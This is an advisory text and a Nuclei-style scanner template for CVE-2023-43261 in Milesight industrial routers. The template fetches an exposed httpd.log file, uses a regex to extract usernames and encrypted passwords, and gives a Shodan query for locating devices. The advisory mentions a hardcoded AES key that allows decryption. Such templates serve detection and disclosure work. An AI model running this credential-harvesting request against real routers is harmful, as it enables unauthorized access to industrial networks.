A critical security vulnerability has been identified in Milesight Industrial Cellular Routers, compromising the security of sensitive credentials and permitting unauthorized access. This vulnerability stems from a misconfiguration that results in directory listing being enabled on the router systems, rendering log files publicly accessible. These log files, while containing sensitive information such as admin and other user passwords (encrypted as a security measure), can be exploited by attackers via the router's web interface. The presence of a hardcoded AES secret key and initialization vector (IV) in the JavaScript code further exacerbates the situation, facilitating the decryption of these passwords. This chain of vulnerabilities allows malicious actors to gain unauthorized access to the router.
PoC
id: CVE-2023-43261
info:
name: Milesight Routers - Information Disclosure
author: gy741
severity: high
description: |
A critical security vulnerability has been identified in Milesight Industrial Cellular Routers, compromising the security of sensitive credentials and permitting unauthorized access. This vulnerability stems from a misconfiguration that results in directory listing being enabled on the router systems, rendering log files publicly accessible. These log files, while containing sensitive information such as admin and other user passwords (encrypted as a security measure), can be exploited by attackers via the router's web interface. The presence of a hardcoded AES secret key and initialization vector (IV) in the JavaScript code further exacerbates the situation, facilitating the decryption of these passwords. This chain of vulnerabilities allows malicious actors to gain unauthorized access to the router.
impact: |
Unauthenticated attackers can access publicly exposed log files containing encrypted admin and user passwords, then decrypt them using the hardcoded AES key found in JavaScript code, gaining full administrative access to industrial cellular routers.
remediation: |
Update Milesight Industrial Cellular Router firmware to disable directory listing, restrict access to log files, and remove hardcoded cryptographic keys from the web interface.
reference:
- https://medium.com/@win3zz/inside-the-router-how-i-accessed-industrial-routers-and-reported-the-flaws-29c34213dfdf
- https://github.com/win3zz/CVE-2023-43261
- https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-43261
- http://milesight.com
- http://ur5x.com
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
cvss-score: 7.5
cve-id: CVE-2023-43261
cwe-id: CWE-532
epss-score: 0.59609
epss-percentile: 0.99078
cpe: cpe:2.3:h:milesight:ur51:-:*:*:*:*:*:*:*
metadata:
verified: true
max-request: 1
vendor: milesight
product: ur51
shodan-query: http.html:rt_title
tags: cve2023,cve,router,milesight,disclosure,unauth,iot,vkev,vuln
http:
- method: GET
path:
- "{{BaseURL}}/lang/log/httpd.log"
max-size: 5000
extractors:
- type: regex
regex:
- '"username":"([^"]+)","password":"(?:[A-Za-z0-9+/]{4})*(?:[A-Za-z0-9+/]{2}==|[A-Za-z0-9+/]{3}=)"'
# digest: 4b0a00483046022100b43370b03d37c3b429e946457645b88ad49b8ff7a885c4a89572b12d8da44c2c022100da3501947b4e2f715d649595152b7094f7e2576c024c976142ce91aa6899876d:922c64590222798bb761d5b6d8e72950
# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.